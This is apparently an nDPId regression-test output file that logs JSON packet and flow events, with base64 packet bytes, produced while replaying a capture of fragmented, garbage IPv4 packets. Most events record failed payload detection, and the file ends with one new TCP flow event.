+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476442,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476463,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476474,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476485,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476497,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476507,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476517,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476538,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476559,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476581,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476602,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476612,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476623,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476633,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476676,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476688,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476698,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476708,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476719,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476736,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476747,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476758,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476769,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476789,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476800,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476810,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476821,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476833,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":476844,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAgAAAAAAAAAA"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1534244030777,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":13362,"dst_port":12596,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 